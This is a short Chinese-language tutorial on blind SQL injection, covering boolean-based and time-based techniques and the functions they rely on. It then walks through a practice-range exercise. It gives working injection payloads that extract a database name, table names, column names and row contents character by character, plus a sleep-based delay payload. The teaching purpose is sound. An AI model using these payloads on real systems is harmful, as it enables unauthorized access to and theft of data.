4-4 盲注
一、盲注介绍
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
布尔盲注
只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息
时间盲注
界面返回值只有一种,true无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
二、盲注需要掌握的几个函数
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
三、盲注靶场的做法
猜解当前数据库名称长度:
id=1\' and (length(database()))>9#
利用ASCII码猜解当前数据库名称:
and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s
and (ascii(substr(database(),2,1)))=101--+ 返回正常,说明数据库名称第二位是e
猜表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name=\'zkaq\' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f
猜内容
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z
四、延时注入(时间注入)靶场做法
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
- 点赞
- 收藏
- 关注作者
评论(0)